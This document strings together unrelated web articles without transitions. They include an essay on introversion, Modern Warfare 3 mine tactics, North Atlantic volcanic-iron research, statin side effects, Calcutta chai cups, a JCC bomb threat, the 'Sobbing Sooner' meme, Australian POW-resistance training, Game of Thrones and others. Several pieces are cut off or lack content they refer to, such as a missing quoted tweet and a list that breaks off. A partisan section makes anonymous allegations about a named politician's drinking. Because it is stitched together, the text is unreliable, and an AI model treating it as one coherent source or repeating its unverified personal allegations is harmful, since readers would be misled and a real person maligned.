The same goes for the claim that I never smile. I have to say that my smile is a pretty terrible thing, and people who have witnessed it at close quarters have often begged me not to do it again. But even so, I occasionally risk it, even in public places, and have been caught on camera doing so. I find, when I view these recordings, that I agree with the people who have begged me not to do it again, and so quite often I sit, inwardly smiling, but outwardly thinking of others and keeping a straight face. Occasionally my self-control gives way. But that does no good either.
The thing is, my critics ( and indeed some of my supposed supporters) don’t expect me to smile. If I make a joke, they either forget about it instantly or assume it was an accident.
Perhaps this is just because they think this anyway, and (as in so many of my conflicts with the majority) they see and hear what they want to see and hear, and don’t see or hear what they don’t wish to see or hear.
Or perhaps (and I am being charitable here because it is the Advent season) this is because of my inner gloom. Those who like to divide the population between introverts and extroverts would certainly place me among the introverts, a significant minority who dislike noise, compulsory jollity, self-abandonment, extravagant displays of affection, paper hats, etc ( An interesting book recently published, ‘Quiet’, by Susan Cain, explores this subject).
This doesn’t mean we don’t go out, or even that we fear crowds. Introverts can often deal with crowds better than they can deal with individuals. It just means that we don’t necessarily share the pleasures of the majority (apparently the introverts are about a third of the population) . But we are still enjoying ourselves.
Back in November 2009 we asked our readers whether they disliked Modern Warfare 2’s Claymores, the general feeling seemed to be that Claymores are less likely to kill an enemy than Bettys, but correct placement can be key and the explosion can at least be a form of early warning. Claymores only affect the area they’re facing which is nowhere near as good as Bouncing Bettys and their 360 degree area of destruction, also Bouncing Bettys are harder to spot than Claymores (unless certain perks are used) – all in all it looks like Bouncing Bettys have the edge, keep reading and your opinion may change.
Prior to a recent tweet from Modern Warfare 3’s community manager, FourZeroTwo, we thought that Bouncing Bettys would be the obvious choice, but this may not necessarily be the case. Someone tweeted FourZeroTwo saying “Bouncing Betty’s seem overpowered in #MW3, being impossible to see and having a 360° kill view. Claymores become useless” – below is the response this got:
To our knowledge this is the first time such a strategy has ever been in included in a COD game and once mastered it may become very useful indeed, previously we confirmed that MW3 will not let you dive to prone which would have been a great way of combating Bouncing Bettys, but we are at least happy to hear that Infinity Ward and Sledgehammer Games were wise enough to see that Bouncing Bettys were overpowered and have done something to change this.
An international team of scientists is in the far North Atlantic Ocean testing whether volcanic eruptions have a side effect of increasing the absorption of carbon dioxide into the deep sea.
The expedition, from the UK's National Oceanography Center in Southampton, was planned several years before the eruption of the volcano Eyjafjallajökull.
By chance, it has now given the scientists the opportunity to see how volcanic ash effects iron levels in the water and in turn the growth of the vital organism phytoplankton.
Phytoplankton is important to the eco-system because it takes carbon dioxide from the atmosphere into the deep sea when it dies.
Growth of phytoplankton in certain areas is usually limited by lack of iron in the water, and the sub polar Atlantic is believed to be one of these areas. Phytoplankton usually blooms in the spring, but dies back in the summer.
However, scientists are testing the theory that the volcanic eruption has increased iron in the water and will prolong the spring blooms into summer.
Professor Eric Achterberg, who is leading the team of 22 scientists, told CNN from on board the ship RSS Discovery: "We are extremely lucky that the volcano has given us a fantastic natural experiment.
"Normally iron is so low here that after a massive spring bloom, it doesn't grow well in the summer. But after the volcano there's been a lot more iron falling in to the ocean, so we have a fantastic opportunity to check whether iron makes the bloom last longer.
"We are seeing enhanced iron levels compared with other years and we think that's because of the volcano. We need to do a lot more analysis back at the lab before we can confirm the volcano has caused extra phytoplankton growth."
The five-week cruise set off on July 4 and is now in the sub-polar region of the North Atlantic between Greenland and Iceland.
It follows an earlier expedition in April and May, which by chance coincided with the eruption of Eyjafjallajökull.
Prof. Achterberg said: "The volcano erupted during the previous trip to check how conditions were for the spring bloom. They sailed right into the plume, which was an amazing experience though not particularly healthy.
"They went right up to the coast of Iceland and the ship was covered with ash. There was a real rise in iron levels then."
Despite the unique research opportunity offered by the volcano, which is now dormant, it has forced the scientist to abandon the initial aim of their expedition to test the normal iron levels in the region.
"It upset our original hypothesis that this region is iron limited," said Prof. Achterberg. "But we now have a great opportunity to see if a massive volcano can cause enhanced phytoplankton growth and sink more carbon dioxide into the oceans.
"It's a unique situation because we have never been able to look at this before. This could potentially teach us a lot about how the oceans work. The oceans take up 40 percent of all carbon dioxide from the atmosphere, so they are pretty significant."
The far North Atlantic is globally significant because it acts as a sink for atmospheric carbon dioxide.
The RSS Discovery has reached 63°N, close to Greenland's ice sheets, where there is only two hours of darkness each night.
Scientists have to work through the night to collect biological samples during the brief hours of darkness when the phytoplankton is not photosynthesizing.
Prof. Achterberg said: "We sailed out of the Irish Sea straight into a Force 10 storm which was pretty horrendous. We had to take one scientist back with terrible seasickness, which left him dehydrated and needing hospital treatment.
There was the headline-making trial of the statin-combination drug Vytorin, which rattled conventional wisdom about the value of lowering cholesterol. Business Week weighed in with a report that asked: “Do Cholesterol Drugs Do Any Good?” And my Well column in Science Times last month pointed out that there’s no data to show that statins prolong the lives of many people who use them.
Now, The Wall Street Journal has joined the fray. Health Journal columnist Melinda Beck revisited questions about whether statin drugs have cognitive side effects that leave users, particularly women, with muddled thinking and forgetfulness. “This drug makes women stupid,” Dr. Orli Etingin, vice chairman of medicine at New York-Presbyterian Hospital, declared at a recent luncheon, according to the Journal.
Over the years, there’s been a lot of discussion about whether statins affect thinking and memory, but drug makers point out that hundreds of studies haven’t shown a causal link between statins and memory problems. However, anecdotal reports continue to suggest that some patients do develop memory loss while taking the drugs.
After I wrote about the issue several years ago, a colleague who had once memorized poetry as a hobby told me he was unable to remember poems once he started taking statins. Dr. Beatrice A. Golomb, assistant professor at the University of California at San Diego, has collected thousands of stories from patients about statin side effects. She has said common complaints from patients taking statins include being unable to remember the name of a grandchild, walking into a room and forgetting why you are there, or starting a sentence and being unable to finish. Some complain of personality changes or irritability.
The Wall Street Journal highlights one interesting example:
A San Diego woman, Jane Brunzie, was so forgetful that her daughter was investigating Alzheimer’s care for her and refused to let her babysit for her 9-year-old granddaughter. Then the mother stopped taking a statin. “Literally, within eight days, I was back to normal — it was that dramatic,” says Mrs. Brunzie, 69 years old. Doctors put her on different statins three more times. “They’d say, ‘Here, try these samples.’ Doctors don’t want to give up on it,” she says. “Within a few days of starting another one, I’d start losing my words again,” says Mrs. Brunzie, who has gone back to volunteering at the local elementary school she loves and is trying to bring her cholesterol down with dietary changes instead. “I feel very blessed — I got about 99% of my memory back,” she adds. “But I worry about people like me who are starting to lose their words who may think they have just normal aging and it may not be.”
By Judy Swallow
Calcutta, India
Tea gained mass popularity in India only with British involvement in the cultivation of the tea plant in Assam in the 19th Century. India adopted it with enthusiasm, transforming its preparation and how it is served. "Chai, chai." It is the hawkers' call you hear all over India. The call I first heard more than 30 years ago, at the start of my first, long, overnight train journey out of the city then called Bombay (now Mumbai). Chai. Tea. But not as we know it. Chai, on that first tasting, was like a joke played by the Indians on the British habit of, to eastern taste-buds, bastardising this delicate exotic brew. The recipe for chai: Start with a big, battered pot of rapidly boiling water. Add a packet of powdered milk, one of sugar and then chuck in a generous measure of coarse tea leaves and carry on boiling until you have a thick, sticky, stewed cloying mix. Chai is sold for a few rupees a cup And then there is one last essential ingredient for the total experience - the gritty aftertaste of red Indian clay. Chai always came in tiny rough-hewn pottery cups, lightly fired, unglazed, always with a bit of grit at the bottom That first time I tried it, I thought it was utterly disgusting, and tipped it out of the window, much to the horror of my fellow passengers. Then to my horror, they threw their cups out of the window. Eurgh! Not only had I been given a vile drink, but witnessed a national vile habit, littering on a criminal scale. Or so I thought. I had a lot to learn about India. The next morning, after a sleepless night on that sleeper train, the point of chai became clear. Weary, shaky and hungry, it was the total restorative - the caffeine hit of the long-stewed tea, the energy of the sugar and the nourishment of the double-strength milk. A day or two in the baking summer sun or the monsoon rains and these crude cups disintegrated, Indian clay returning to Indian soil
It was all this soft, over-fed Westerner needed to face the day, all for one rupee ($0.02). That rupee's worth would be all that many a rickshaw driver would have to keep running or peddling for hours. As for the littering, wrong again. A day or two in the baking summer sun or the monsoon rains, and these crude cups disintegrated, Indian clay returning to Indian soil. A perfect ecological model. But that was old India. These primitive little pots did not fit the modern image of new India. Out they went and in came plastic. The result can be seen on every street, pavement and park, and railway tracks are no longer lined with red, but with mountains of these tiny plastic cups. The traditional clay cups have become a rare sight. Mother India Except here in Calcutta. At stalls in front of the majestic law courts or the back streets of the slums, Indians gather for their traditional brew, still costing a pittance, three rupees a cup, and still served in the traditional way. "It's part of the taste," one bank clerk said to me, during his lunchtime break, "the taste of Mother India." And he might have added, Mother India does not get trashed. The clay cups can have an economic benefit as well. Too many of India's poor have been left behind in the new India. For every information technology whiz-kid, there is an illiterate villager with no skill to sell. I met the Prajapati brothers, Ashok, Ajay and Pijoy, potters who know there is money to be made from the old way of doing things. I met these three wiry, shaggy-haired guys in their baggy shorts and singlets, squatting on their haunches on the mud floor of their workshop, a small open-air shed that was little more than a corrugated iron roof on a bamboo scaffold. There is a constant demand for the potter's disposable clay cups Their business, for that was what it was, was on the banks of a reeking cesspit of a river, tucked behind the red light district and slum. But for the three of them, making cups is their families' living, their children's future. Millions of impoverished villagers come to Calcutta to survive. These three were potters from rural Bihar. With no demand there, no work, they came here, and now they are flat out dawn to dusk. They do not get much per cup of course, not when the tea costs three rupees, but they turn out tens of thousands a day, on muscle power alone. The wheels are just big flat stones, which they get spinning faster and faster with a stick. It is pretty primitive, but Ashok's speed was pure production-line efficiency. Eight seconds on average per cup. Racks of them were drying on the river bank and the roof of their shack. What they earn here supports their three wives and many young sons and daughters back in their village. Thanks to the chai cup trade, the Prajapati children do not have to work. I asked Ashok if he wanted his son to be a potter, like him. "Oh no," he said. "This is very hard labour, very hard, and very boring work. No, my sons - they go to school. My son will be a businessman." With those words, he sliced another clay cup off his wheel. How to listen to: From Our Own Correspondent BBC Radio 4: Saturdays, 1130. Second weekly edition on Thursdays, 1100 (some weeks only) BBC World Service: See programme schedules Download the podcast Listen on iPlayer Story by story at the programme website
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Harrison Okene, the 29-year-old cook of the AHT Jascon 4, gave a South African diving team the shock of a lifetime on May 28 when he reached out from the dark air pocket he was trapped in and grabbed the hand of a diver.
“It was frightening for everybody,” DCN Diving project manager Tony Walker told CBC News. “For the guy that was trapped because he didn’t know what was happening. It was a shock for the diver while he was down there looking for bodies, and we [in the control room] shot back when the hand grabbed him on the screen.”
Sitting in the cold Atlantic Ocean water in nothing but boxer shorts was beginning to take its toll on Okene’s body. He had no food and drank Coca-Cola, according to the BBC. The salt water also began to peel away the skin on both his body and tongue.
Okene knew he wasn’t alone: despite the darkness, he said he could sense the eerie presence of sealife eating the dead bodies of his crewmates nearby. He was sure he was going to die – until diver Nico Van Heerden's light illuminated the small air pocket that kept Okene alive.
“They told me all the others had died and I cried because I thought I was the only one who had been trapped in the boat,” Okene told The Guardian.
The AHT Jascon 4 was found 30 metres underwater off Nigeria's Escravos coast, according to DCN. A crew of 12 were on board; divers recovered 10 bodies and rescued Okene.
Buy Photo Brighton police with the help from New York State Police, Monroe County Sheriff’s Office, police dogs and the FBI searched the 180,000-square-foot-facility during a bomb threat in 2017. (Photo: TINA MACINTYRE-YEE/@tyee23/file photo)Buy Photo
The Jewish Community Center in Brighton was temporarily evacuated after a bomb threat was reported — one of several centers across the country that received phone or email threats overnight and Tuesday morning.
The facility, at 1200 Edgewood Ave., reopened at 10 a.m. The Wolk Children's Center reopened at noon.
An email alert went out to employees and members about 6 a.m. About 75 people were inside the facility when the threat was received, said Arnie Sohinki, executive director of the Louis S. Wolk JCC of Greater Rochester.
"I am aware that there are other JCC facilities across the country that have received the same or similar-type threats," Brighton Police Chief Mark Henderson said during a morning briefing on the side of Edgewood Avenue. "We will work with the FBI to see if this was a similar type threat."
On Tuesday afternoon, Henderson said the threat was received by an employee in their official email account, and not via a phone call. Henderson said police are working on tracing the origin of the email.
Brighton police officers, Monroe County sheriff's deputies, New York State Police troopers and FBI agents partnered with specially trained dogs to sweep the entire 180,000-square-foot facility Tuesday, Henderson said. The agencies did not find any indication that a bomb was in the facility, he said.
The agencies together are investigating.
"I'm perfectly comfortable to say that this facility is safe," Henderson said during a second briefing later in the morning. "Members should feel comfortable coming here...it's business as usual at the JCC of Rochester," he said.
Henderson said previously established protocols were followed during the incident.
"We've worked with JCC on emergency planning for a number of years," he said. The protocol "went into place immediately. The facility was locked down and an evacuation occurred," Henderson said. Brighton police have increased their presence in the general area of the facility in recent weeks, he said.
Being prepared for this sort of incident is part of day-to-day life now, said Sohinki.
"It's the world we live in today," he said. "That we're prepared makes us better off to serve the community."
Parents of children who attend the daycare associated with the JCC were alerted as well, and told to make alternative childcare arrangements early Tuesday. An email sent to JCC members Tuesday afternoon announced an informational meeting scheduled for 6 p.m. Wednesday in the JCC's Auditorium C, where law enforcement officials would address member questions and concerns.
The JCC Association of North America says several Jewish community centers received threats overnight and early Tuesday.
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Federal officials have been investigating more than 120 threats against Jewish organizations in three dozen states since Jan. 9 and a rash of vandalism at Jewish cemeteries.
Threats came in at a JCC facility near Syracuse and at the Anti-Defamation League headquarters in New York City Tuesday, among other locations across the U.S., according to a statement from Governor Andrew Cuomo's office.
“The bomb threats at the Brighton and DeWitt Jewish Community Centers and the Anti-Defamation League headquarters in Manhattan mark the latest pointed assault on the values we hold dear, and we will not allow these types of threats to continue to pervade our society," the statement read.
Brighton Town Supervisor Bill Moehle issued a statement on his Facebook page:
"We stand together with the Jewish community of Brighton and the entire Rochester area as we again confront an expression of hatred in our community. Our community is home to Christian, Jewish, Muslim and other faith communities, and Brighton is and will continue to be a community that welcomes these communities of faith, as well as other people and communities that feel threatened by expressions of hatred and fear of the 'other.'"
Kevin McGowan, Brighton Central School District Superintendent, reached out to families via Facebook.
"Safety continues to be our first priority. We are reviewing all procedures for receiving, processing, and reacting to any threats in our buildings. We have not received such a threat and have no reason to be concerned about the safety of our students, staff, and community members," he said.
Buy Photo Wayne Smith, of Henrietta, Rob Schoenfeld, of Fairport and Henry Metzger of Henrietta long time members of the JCC watch police investigate the facility from a parking tot across the street. (Photo: TINA MACINTYRE-YEE/@tyee23/staff photographer)
FBI spokeswoman Maureen Dempsey said the FBI and the Justice Department's Civil Rights Division are assisting with the investigation. The agency, she said, continues to investigate possible civil rights violations in connection with threats to Jewish Community Centers across the country.
The incident did not impact traffic on Edgewood Avenue, as the road remained open Tuesday morning.
Henderson said the threat was "very serious" and that he hopes law enforcement efforts lead to the person or people responsible to be "held accountable for their actions."
The investigation is ongoing.
Several people were waiting outside the JCC Tuesday morning and were frustrated by news of the bomb threat.
"I was angry," said Wayne Smith of Henrietta, who arrived at the JCC around 6:45 a.m. to set up for an 8:30 a.m. meeting in the center. He went back home for about an hour and returned to the JCC to wait for the facility to reopen.
Smith said he has attended group meetings for retired men at the center for two decades and never heard of anything like this happening, he said.
"With what's happening nationally, I sort of expected it," said Henry Metzger of Henrietta, also a member of the retired men's group, as he waited to enter the building Tuesday morning. Tuesday's meeting wasn't held, since the facility was opened after the meeting usually ends, he said later in the day.
Metzger said he is concerned that the incident may cause JCC membership to decline and that patrons may seek out other fitness and community center options.
"I didn't think it could happen here," said Brooke MacIntyre of Pittsford, a teacher at the facility's children's center. "I was more freaked out by it than I thought I would be."
Several Faecbook users changed their profile photos in recent days to a graphic using the hashtag #IstandwiththeJCC.
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Cats evolved into a distinct family (Felidae) roughly 25 million years ago. Since then, they've expanded all over the world and have evolved to match their environments. They still retain some things in common, however – just like your fluffball at home, very few cats can taste sweetness. They are all obligate carnivores – they do not simply favor meat, they can't subsist on anything else. Besides lions, very few cats display any sort of strong social behavior, though some others do hunt together or form loose colonies. It's no wonder our domesticated kitties are such haughty, individualistic souls!
Farhad Hakimzadeh sneaked a scalpel into the London's British Library to surgically removed leaves from books, according to library staff. He used the pilfered pages to replace lower-quality parts of his own copies of the works.
Judge Peter Ader at London's Wood Green Crown Court said Hakimzadeh, the director of an Iranian cultural organization and a published author, must have known the damage he was causing.
"You have a deep love of books, perhaps so deep that it goes to excess," Ader said. "I have no doubt that you were stealing in order to enhance your library and your collection."
Hakimzadeh targeted books at the British Library and Oxford's Bodleian Library that dealt with Europe's interaction with the Middle East. Investigators tracing his activities found damage to some 150 books dating as far back as the 16th century. A map alone taken from one of the books was worth 30,000 pounds (US$44,000).
Police said Hakimzadeh's incisions were so precise that only an expert would notice the missing pages, many of which were found tucked into the extensive library in his London home.
Kristian Jensen, the head of the library's British and Early Printed Collections, said Hakimzadeh violated the trust the institution had placed in him.
"These thefts have struck at the very heart of the British Library's historic collections making their loss and the vandalism that accompanied their theft especially harmful," Jensen said. Police said many of the pages he stole may be lost forever.
This month Vulture will be publishing our critics’ year-end lists. Last week’s lists included albums, art, and video games. This week we’ve covered comedy — sketches, specials, and podcasts — plus Margaret Lyons’s top shows, Bilge Ebiri’s top movies, and music videos and memes. Now it’s on to late-night clips, comic books, graphic novels, and album reissues.
1. Stephen Colbert thanks Jon Stewart
For over a decade, Jon Stewart defined how an entire generation of viewers got their news, using comedy to cut through the political rhetoric of the Bush administration and the media spin cycle. Under his tenure, The Daily Show also became a launching pad for a current crop of late-night hosts including Stephen Colbert, Trevor Noah, Larry Wilmore, and Samantha Bee. So, on Jon Stewart’s final day as the host of The Daily Show, it was more than appropriate that his friend and former colleague Stephen Colbert finally said what we all wanted to say: thank you.
2. David Letterman’s final Top 10 list
Jon Stewart wasn’t the only host with a final show this year. David Letterman, who had surpassed his mentor Johnny Carson as the longest-serving host in the history of late night, ended his own run in May with a farewell that was typically unsentimental. “Save some for my eulogy,” he quipped during his final monologue. Better still were the celebrity friends who sent him off with a final Top 10, “Top 10 Things I’ve Always Wanted to Say to Dave.” There was everyone from Bill Murray to Jerry Seinfeld to Tina Fey, but it’s Julia Louis-Dreyfus’s joke that we’ll cherish the most: “Thanks for letting me take part in another hugely disappointing series finale.”
3. John Oliver’s pitch-perfect response to the Paris attacks
Last Week Tonight host John Oliver doesn’t make it his business to respond to daily events, but the attacks in Paris were too devastating to ignore. He was appropriately furious, calling the attackers “assholes” and reminding everyone that waging a culture war on France, land of the croquembouche, was a losing battle. What was most refreshing was how Oliver refused to jump to hasty conclusions or use the attacks as an opportunity to engage in some good old-fashioned fearmongering.
4. Jimmy Fallon and Nicole Kidman’s awkward first date
Apparently, it was Nicole Kidman who had a crush on Jimmy Fallon, and it was Jimmy Fallon who just wore a baseball cap, put out some brie and leftover Chinese food, and played video games for their first date. The entire exchange is delightfully awkward, and it’s obvious why these two were never going to work out.
5. Colbert trolls the CBS censors
Maybe it’s our own nostalgia for The Colbert Report, but Stephen Colbert seems to be at his best when he gets to show just how asinine something is. In this case, his target is the CBS network censors themselves, which are convoluted and nonsensical when it comes to the line between art and nudity. He expertly demonstrates just how silly the whole thing is by drawing a smiley face.
6. Tracy Chapman sings “Stand by Me” for David Letterman
The singer-songwriter made a rare television appearance to sing one of David Letterman’s favorite songs from his youth, the Ben E. King classic,“Stand by Me.” It’s an understated and tremendous performance, and, like the best of Chapman and Letterman, never gets old.
7. Seth Meyers’s “A Closer Look” at Republican attacks on Planned Parenthood
Late night is getting serious. Since taking over Late Night, Seth Meyers has veered away from the lighter fare of Jimmy Fallon and gotten behind the desk to dig into politics like Jon Stewart. Thus, he started his “A Closer Look” segments, which take deeper dives into political topics the way that John Oliver does on Last Week Tonight. This segment on the Republican congressional hearings on Planned Parenthood was incisive, damning, and completely necessary.
8. Conan visits the rum museum in Havana, Cuba
In keeping with the trend of late night going long-form, Conan O’Brien made his first trip to a foreign country in the name of comedic diplomacy (he would later go to Armenia). “There are some really good comedy moments in there, but also it’s just, let’s take this guy that we know and put him in this situation but maybe learn at the same time,” O’Brien told Vulture after he returned from his trip. This visit to Havana’s rum museum is perfect in large part due to the fact that the tour guide couldn’t believe she had to indulge this silly redhead.
9. James Corden’s carpool karaoke with Stevie Wonder
Theater geeks, rejoice! James Corden’s show is essentially becoming partially like The Graham Norton Show with its group chats and musical-theater segments. Corden’s best recurring bit has been carpool karaoke, where he tools around with a famous musical artist and sings their songs with them. There have been some great ones, but there’s a moment during this ride with Stevie Wonder when Corden tears up as Wonder sings “I Just Called to Say I Love You” to Corden’s wife Julia Carey that is just a little bit of magic.
10. Rihanna pranks Jimmy Kimmel for April Fool’s
USA TODAY Sports
It’s highly unusual that a four-win team from a year ago doesn’t have many open positions, but that’s the case for the Florida Gators this season. With seven starters returning on both sides of the ball, most have a pretty good idea of who will be where when they take the field in late August.
Most positions that remain up for grabs are on the offensive side of the ball, as the coaching staff is still trying to figure things out after such a horrible performance a year ago. There are also a few young defensive players who are competing for a starting role. Other than that, Florida seems to be in good hands as far as starters are concerned.
A decade later: Meet the Sobbing Sooner, one of college football and sports' first viral memes Share This Story On... Twitter
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By Carter Karels , Special Contributor Contact Carter Karels on Twitter: @CarterKarels
Editor's note: This story was originally published Oct. 4, 2016. Today's college football fans live in an alternate universe to 2006. In this modern era, anyone can become the latest Crying Jordan meme or devastated surrender cobra. A decade ago, Internet infamy was harder to achieve - and impossible to shake. Just ask Jonah Israel, a 21-year-old lifelong Oklahoma Sooners fan and suburban Dallas resident. This Friday marks the 10-year anniversary of Jonah's entry into the Internet's dark side, when he became one of the first viral memes in sports. He still hears about it today. Israel picked the wrong time to skip his weekly pee-wee football game and join his family at his first Red River Rivalry. Along with his brother and parents, Jonah sat a few rows up on the right side of the OU endzone.
Pictured here with his family in 2016, Jonah Israel - one of sport's original memes - is second from left.
The Israel family watched as their Sooners fell 28-10 to Colt McCoy's Longhorns. What they didn't know was a TV camera panned over to a crying Jonah with 2:51 left on the clock. "He wasn't crying because we were losing," said Cathy, Jonah's mother. "He wasn't even really paying attention. He had gotten into trouble, and he was sitting next to me and bugging me... He was crying because he had gotten into trouble." The world didn't know that. The play-by-play TV announcer, Brad Nessler, chimed in once he saw the sobbing 11-year-old. "Oh boy," Nessler said with a chuckle. "You know, it's a football game. It's just a football game. But maybe it's his first time here." It was. Following the game, Jonah's older brother Ethan informed the family about his youngest brother's 10 seconds of fame. Soon after, each family member was flooded with text messages. Jonah ignored it and called his football coach to see how his team had done. His coach immediately picked up the phone out of concern, as he, too, had seen Jonah's embarrassing moment. Flustered, the 11-year-old decided to watch the recorded version at his friend's house the next night. He was mortified. "[At the beginning] I thought it was pretty hilarious, honestly," said Eli, Jonah's older brother by a year. Almost instantly, the Israels' thoughts on the video switched from funny to concerned. When Jonah arrived at football practice two days later, his teammates laughed at him. His mom's Longhorn friends showed her nasty online articles written on the matter. And she couldn't help herself. Cathy went on a searching spree, finding unsettling content on her own at BurntOrangeNation.com and other websites. "Horrible things were said," Cathy said. "Pedophile-type things were said, and threats too. It was crazy. Jonah was very afraid." Jonah became curious as well. Late at night after his parents fell asleep, he'd search "OU crying kid" and read the material written about him. "The Internet convinced me the world had a problem with me," Jonah said.
Soon, the viral clip donned a nickname -- the "Sobbing Sooner." The Israels recall ESPN or Sports Illustrated using it as their "Picture of the Week." That's when it really took off. A Longhorn fan promptly sold T-shirts featuring Jonah's crying face. Posters were created. Virtually overnight, what began as an Internet sensation turned into a nightmare. It escalated so far that the Israel family hired a lawyer. They sent out cease-and-desist letters to halt T-shirt production. An ESPN lawyer generously helped remove some online content including the original video. But nothing on the Internet disappears completely - especially from people's memories. Most of Jonah's friends, and enemies, couldn't stop talking about it at school. "If I could erase any memories from my life, most of it would be from middle school," Jonah said. "That was right when I was hitting puberty and right when I was figuring out who I am, discovering girls and everything. I couldn't even talk to a girl back then because that's what they knew me as." Logan Watenpaugh, a childhood friend of Jonah's, said his peers used the video as ammunition. "I remember people would always say, 'Hey, don't cry about it,' whenever something happened to him in sports or something," Watenpaugh said. "They'd always make the little crying face at him." Jonah dealt with relentless bullies in middle school. He said most times he walked into a computer lab at school, each screensaver had been changed to his picture. "One time, a kid he used to fight with in middle school went and printed off a stack full of [the picture] and handed them out at school," Eli said. "He put them up on walls. That was definitely where it went too far." The Israels' strong loyalty to OU never wavered. Jonah and his family attended the 2006-07 Fiesta Bowl the same year, but Jonah shaved his head and sported Dallas Cowboy garb out of fear of being noticed. "Jonah was like, 'Will there be cameras? Where are we sitting? Who are we going to see?' He wore Cowboys stuff...because he's so afraid somebody is going to see him," his mom said. Jonah said he still can't go long without hearing about the Sobbing Sooner. One year, he watched as the Longhorn cheerleaders held up his crying face on posters during College GameDay. Longhorn buddies saw the picture blown up on a freshman orientation PowerPoint. In an attempt to turn it into something positive, Cathy wrote a letter to Bob Stoops a few years back. Stoops answered. "I'm sitting at home and my mom hands me a letter, and it's from the office of Bob Stoops. ... Me, my mom, my dad and Eli all went to a closed practice up there three weeks before the season," Jonah said. "We were the only people there. ... We got to meet Blake Bell and some other players."
Time heals all wounds, as they say. By junior year of high school, Jonah was able to laugh it off and let it go. He even wagered and lost a bet with a close friend in the 2013 Red River Rivalry. The terms stipulated he would have to tell a group of Texas fans he's the Sobbing Sooner and take pictures with them. Jonah did just that after OU lost 36-20. "They said, 'That was you dude? No way. We had that poster [of you] in college, man,' " Jonah said. "So then a group of three drunk guys turns into 10. Then it turned into 20. And the next thing I know...I spent two hours taking pictures with people and meeting nothing but Texas fans."
Looking back, Jonah said he's glad it happened to him because he learned from it. He could also handle it for the most part, even at 11 years old. No one can watch a game now without seeing a losing, weeping fan on TV or Twitter. While the upset fan might receive the Crying Jordan treatment, the embarrassment is short-lived. There will be a new person to laugh at the next game. That wasn't the case for one of college football's first memes, the "Sobbing Sooner." And to think, his crying wasn't even related to the game's outcome. "I literally cried for 15 seconds," Jonah said. "That's why it was so shocking that it was actually on television, because I cried for maybe 10 or 15 seconds."
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Republicans, we are learning more and more, are led by a Speaker of the House who is not only drunk from power but also, based on his actions and the smell that accompanies him, is blasted from the effects of too much booze.
Speaker John Boehner's severely affected mental state comes from his drinking and increases his inability to deal with his failures as leader of the Republicans in the House of Representatives and as the man that Americans blame most often for the government shutdown that is dragging his party into political oblivion.
Bob Ney, Boehner's one time Ohio GOP colleague who went to prison for his part in the Jack Abramoff lobbying scandal, is one of the few Republicans willing to publicly discuss Boehner's drinking.
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Ney calls Boehner "a chain-smoking, relentless wine drinker more interested in the high-life -- women, cigarettes, fun and alcohol." The Speaker, Ney says, "golfed, drank constantly, and took the easy way legislatively."
Ney's criticism might be excused as the bitter ramblings of a politician caught in his own vices, but other Republicans also say publicly and privately that Boehner is a lightweight who drinks too much.
Former Florida GOP Congressman Joe Scarborough, now a talk show host, says "so many Republicans tell me this is a guy that is not the hardest worker in the world. After 5 o'clock, 6 o'clock at night, he is disengaged at best. You can see him around town...you can see him at bars."
Boehner is a regular at The Capitol Hill Club, a GOP club where members of Congress often get drunk in the basement bar.
"Is John Boehner a drunk? Of course he is," a House GOP aide says his boss grumbled to him recently. "He's a boozer."
When Boehner became Speaker of the House in 2011, more than a few Republicans shook their heads and wondered why. Some speculated on just how long it would be before their new Speaker got caught drunk in public.
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Ney, in his book: "Sideswiped: Lessons Learned Courtesy of the Hit Men of Capitol Hill," wrote that Boehner broke promises to him, including one to take care of his Ohio colleague if he would resign from Congress during the Abramoff affair.
In 2006, Boehner, then House Majority Leader, called Ney to his office and said to the embattled Congressman:
"If you resign the next day, I will personally guarantee you a job comparable to what you are making, and raise legal defense money for you that should bury all this Justice Department problem for you."
Ney says he took the advice and quit, and Boehner walked away from him and did nothing.
Updated
Former elite soldiers who undertook a gruelling prisoner-of-war training program have questioned whether the skills gained outweigh potential psychological damage.
Key points: Training program designed to prepare soldiers for POW situations
A committee examining the training procedures said Defence needed to exercise a greater duty of care
Former SAS Trooper Evan Donaldson said the training caused him long-term psychological damage
The controversial Resistance to Interrogation training is given to military personnel who could be at risk of capture by enemy forces.
Dr Steve Scally was forced into four rounds of the training during his 21 years in the military, and says it pushed participants to physical and psychological extremes.
"It involves being subjected to sleep deprivation, starvation, disorientation. And the Australian Army has techniques in which to invoke those situations," he told the ABC.
"I don't think the ADF fully understands the full psychiatric effects of it. Certainly the effects are very subliminal."
Dr Scally was one of several former soldiers who gave evidence to a parliamentary inquiry examining the training procedures.
The committee expressed concern soldiers were being subjected to up to 96 hours of straight training and warned Defence needed to exercise a greater duty of care.
The Federal Government has now agreed to a suite a measures, overhauling the protections for personnel.
It will include giving participants more information about the potential risks and a post training briefing with a psychologist.
'I was stripped naked'
Former SAS Trooper Evan Donaldson gave evidence and claimed it caused him long-term psychological damage.
"I was stripped naked and given a very thin hospital gown," he said.
"I remember partially tripping in one instance because I couldn't see where I was going of course. And one of the guards assaulted me with his knee to my buttocks which resulted in a tear to my anus and bleeding."
Dr Scally said he also suffered mental harm from training and claims there is no hard evidence to show the results outweigh the potential risks.
"I really don't think there's enough understood about the military experience and the psychiatric effects of that experience," he said.
"The benefit has not really been described or quantified in any way whatsoever. It's just assumed that its needed.
But Neil James, who was one of the original architects of the training program, said it was vital to prepare troops for possible capture.
"The idea floated by some members of the Senate committee that this training should be banned, is not only dangerous, it's quite an immoral view," he said.
"You have a duty of care that if they're captured by an enemy who will maltreat them, that you better develop their capacity to survive that treatment by pre-training."
Topics: defence-forces, defence-and-national-security, psychosis, australia
This week, we’ll pick up in the north and cover those currently at or beyond the Wall. Warning: this post is dark and full of spoilers from Seasons 1 through 4 of Game of Thrones, as well as some light speculation and news from Season 5.
Jon Snow
The last time we saw Jon Snow, he was walking away from the burning remains of Ygritte and towards the uncertain future of the Night’s Watch. You see, Stannis’s last-minute heroics, as required as they were, put the Night’s Watch in awkward territory. The Watch operates as an entity completely separate from the rest of the realm, meaning they offer no allegiances to individual families or kings. Everyone is a member of the realm, and the Watch protects them all. It doesn’t matter who sits on the Iron Throne. So Stannis, a nomad king, turning up at the Wall was great in that his troops defeated Mance Rayder’s army, but now they’re still there, and it’s not going to take long before it looks like the Night’s Watch has chosen a side. But what awaits Jon Snow? Maybe it's time time he proves he actually knows something.
Alliser Thorne
While Alliser Thorne is certainly not the most likeable character in Game of Thrones, it’s hard not to respect him, especially after his speech during the Battle at Castle Black:
